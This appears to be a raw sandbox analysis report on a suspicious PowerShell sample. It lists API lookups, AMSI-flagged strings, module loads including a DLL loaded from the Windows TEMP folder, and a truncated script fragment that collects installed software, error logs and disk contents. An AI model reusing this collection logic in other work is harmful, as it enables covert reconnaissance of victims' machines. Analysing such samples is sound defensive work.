ConvertStringSecurityDescriptorToSecurityDescriptor (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter ConvertStringSecurityDescriptorToSecurityDescriptorW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CreateDirectoryA (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandleW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentStrings (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentStringsW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter FreeEnvironmentStrings (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter FreeEnvironmentStringsW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CreateProcess (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CreateProcessW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter DuplicateHandle (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CreateAssemblyNameObject (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CreateAssemblyNameObjectW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CoGetObjectContext (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CreateAssemblyEnum (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CreateAssemblyEnumW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandleA (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter malloc (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter MI_ApplicationWrapper_Initialize (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter MI_Application_InitializeV1 (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter MI_Helpers_SetClrIsNotShuttingDown (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter MI_Helpers_GetCurrentSecurityToken (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_Initialize (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeInstanceCallback (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeWriteMessageCallback (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeWriteProgressCallback (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeWriteErrorCallback (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_SetupDrainingIfNeeded (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentThread (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SetThreadToken (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_ScheduleDrainingWorkIfNeeded (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_DecrementCount_AndDontWorryAboutLifetimeOfMiDotNetDll (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter free (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_SessionHandle_OnReleaseHandleCompleted (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter LoadLibrary (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter InitializeLibrary (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeHost (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeHost_RetAddr (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter PerfCounterInitialize (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter ConvertStringSidToSidW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter IsValidSid (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter LookupAccountSidW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetLengthSid (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CopySid (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter LookupAccountNameW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter InitializeSecurityDescriptor (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter SetSecurityDescriptorDacl (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CryptAcquireContextW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CryptGenRandom (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter MgdGetIISVersionInformation (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter LsaClose (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter LsaFreeMemory (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter LsaOpenPolicy (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter LsaLookupSids (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetDirMonConfiguration (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetNetworkParams (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter ResetEvent (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter WSAStartup (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter WSASocket (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter WSASocketW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter setsockopt (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter WSAEventSelect (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter ioctlsocket (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter closesocket (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter FormatMessage (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter FormatMessageW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter WSAConnect (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CancelIoEx (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00007108) "powershell.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00007108)33:T7d3,Found string "Set-Alias -Name scim -Value Set-CimInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-CimInstance"; File: "AMSI") Found string "Set-Alias -Name ncim -Value New-CimInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "New-CimInstance"; File: "AMSI") Found string "Set-Alias -Name rcim -Value Remove-cimInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Remove-CimInstance"; File: "AMSI") Found string "Set-Alias -Name icim -Value Invoke-CimMethod -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Invoke-CimMethod"; File: "AMSI") Found string "Set-Alias -Name gcai -Value Get-CimAssociatedInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Get-CimAssociatedInstance"; File: "AMSI") Found string "Set-Alias -Name rcie -Value Register-CimIndicationEvent -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Register-CimIndicationEvent"; File: "AMSI") Found string "Set-Alias -Name ncms -Value New-CimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "New-CimSession"; File: "AMSI") Found string "Set-Alias -Name rcms -Value Remove-cimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Remove-CimSession"; File: "AMSI") Found string "Set-Alias -Name gcms -Value Get-CimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Get-CimSession"; File: "AMSI") Found string "Set-Alias -Name ncso -Value New-CimSessionOption -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "New-CimSession"; File: "AMSI") Found string "Set-Alias -Name ncso -Value New-CimSessionOption -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "New-CimSessionOption"; File: "AMSI") Found string "Set-Alias -Name gcls -Value Get-CimClass -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Get-CimClass"; File: "AMSI")34:T57c,"Location $Software = Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*, HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*, HKCU:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Where-Object { $_.DisplayName -ne $null } | Select-Object @{N="Software";E={$_.DisplayName}}, @{N="Version";E={$_.DisplayVersion}}, @{N="Publisher";E={$_.Publisher}} | Sort-Object Software $eventLogs = Get-EventLog -LogName System -EntryType Error -Newest 15 | Select-Object TimeGenerated, Source, Message $LogicalDisks = Get-CimInstance Win32_LogicalDisk $DiskSectionsHtml = ""; $ExcludePatterns = "Windows|Program Files|ProgramData|Recycle\.Bin|System Volume Information|AppData|PerfLogs|Recovery|Boot" foreach ($disk in $LogicalDisks) { $driveId = $disk.DeviceID; $typeDesc = switch ($disk.DriveType) { 2 {"USB"} 3 {"HDD/SSD"} 4 {"Network"} default {"Unknown"} } if (-not (Test-Path "$driveId\")) { c" in Source: 73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin "$Software = Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*, HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*, HKCU:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* |" in Source: 73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin35:T140b,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-libraryloader-l1-2-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.Unmanaged.DLL" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-processthreads-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-handle-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\webengine4.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135]36:T28ab,"powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff8e3090000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff8e3090000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff8e3090000 "powershell.exe" loaded module "KERNEL32" at base 7ff8e5470000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff8bf240000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff8e0860000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 7ff8e26f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPRESOLVER.DLL" at base 7ff8cc340000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ff8e5470000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7ff8de700000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ff8e5d20000 "powershell.exe" loaded module "NTDLL.DLL" at base 7ff8e5ed0000 "powershell.exe" loaded module "CSCAPI.DLL" at base 7ff8d4df0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff8e2f40000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ff8e3bd0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ff8c9af0000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 22a6b100000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ff8e2270000 "powershell.exe" loaded module "VERSION.DLL" at base 7ff8d9840000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ff8b4790000 "powershell.exe" loaded module "USER32.DLL" at base 7ff8e5ab0000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ff8e3090000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ff8d4ae0000 "powershell.exe" loaded module "NTDLL" at base 7ff8e5ed0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ff8e33a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ff8b3190000 "powershell.exe" loaded module "OLE32.DLL" at base 7ff8e50c0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ff8e33a0000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ff8e53a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ff8b2520000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ff8b1aa0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ff8d3440000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff8e16c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ff8afa30000 "powershell.exe" loaded module "COMBASE.DLL" at base 7ff8e33a0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ff8e33a0000 "powershell.exe" loaded module "PSAPI.DLL" at base 7ff8e5240000 "powershell.exe" loaded module "SHELL32.DLL" at base 7ff8e3c80000 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ff8e2fc0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ff8e2fc0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ff8e22d0000 "powershell.exe" loaded module "AMSI.DLL" at base 7ff8dbbf0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ff8d9840000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ff8dbbd0000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ff8e22d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MX08D1IQ.DLL" at base 7ff8d33f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ff8d3350000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ff8af0c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ff8aef50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ff8aede0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ff8ae530000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ff8ae1c0000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ff8e3090000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ff8ae070000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ff8d32e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ff8be100000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ff8adf30000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ff8d3290000 "powershell.exe" loaded module "SECUR32.DLL" at base 7ff8d9b10000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ff8e2150000 "powershell.exe" loaded module "WLDP.DLL" at base 7ff8e1300000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ff8ade50000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ff8e5470000 "powershell.exe" loaded module "USERENV.DLL" at base 7ff8e2120000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ff8e3bd0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ff8e33a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ff8ad140000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ff8d3260000 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ff8e1d80000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DRAWING\ECE80F2E3752A779E894FD45D8F27E64\SYSTEM.DRAWING.NI.DLL" at base 7ff8acf40000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.WINDOWS.FORMS\B138F79DEA860272EBE6694D9B73F656\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 7ff8abe90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NET.HTTP\04AB5D047CC99FC5DAD36592F805B227\SYSTEM.NET.HTTP.NI.DLL" at base 7ff8abde0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\D922445A828B30938C72D375A3B34A60\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ff8abba0000 "powershell.exe" loaded module "GDI32.DLL" at base 7ff8e5210000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF5AC9168#\6266E450A9FD72D28C585220DE1F4515\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.CIMCMDLETS.NI.DLL" at base 7ff8abb10000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.M870D558A#\5F64880C86C98E7DDECDF28E61917307\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.NI.DLL" at base 7ff8aba60000 "powershell.exe" loaded module "API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0.DLL" at base 7ff8e3090000 "powershell.exe" loaded module "MSVCRT.DLL" at base 7ff8e5c80000 "powershell.exe" loaded module "MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.UNMANAGED.DLL" at base 7ff8d3250000 "powershell.exe" loaded module "MI.DLL" at base 7ff8da7c0000 "powershell.exe" loaded module "API-MS-WIN-SECURITY-BASE-L1-1-0.DLL" at base 7ff8e3090000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WMIDCOM.DLL" at base 7ff8da730000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ff8e3090000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ff8d89d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ff8d6e80000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ff8e3090000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ff8e3090000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ff8d5840000 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL" at base 7ff8e5470000 "powershell.exe" loaded module "OLEAUT32" at base 7ff8e53a0000 "powershell.exe" loaded module "API-MS-WIN-CORE-HANDLE-L1-1-0.DLL" at base 7ff8e3090000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\WEBENGINE4.DLL" at base 7ff8ab9b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\\WEBENGINE4.DLL" at base 7ff8ab9b0000 "powershell.exe" loaded module "WEBENGINE4.DLL" at base 7ff8ab9b0000 "powershell.exe" loaded module "IPHLPAPI.DLL" at base 7ff8e1840000 "powershell.exe" loaded module "WS2_32.DLL" at base 7ff8e5a40000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ff8e1ab0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\DIASYMREADER.DLL" 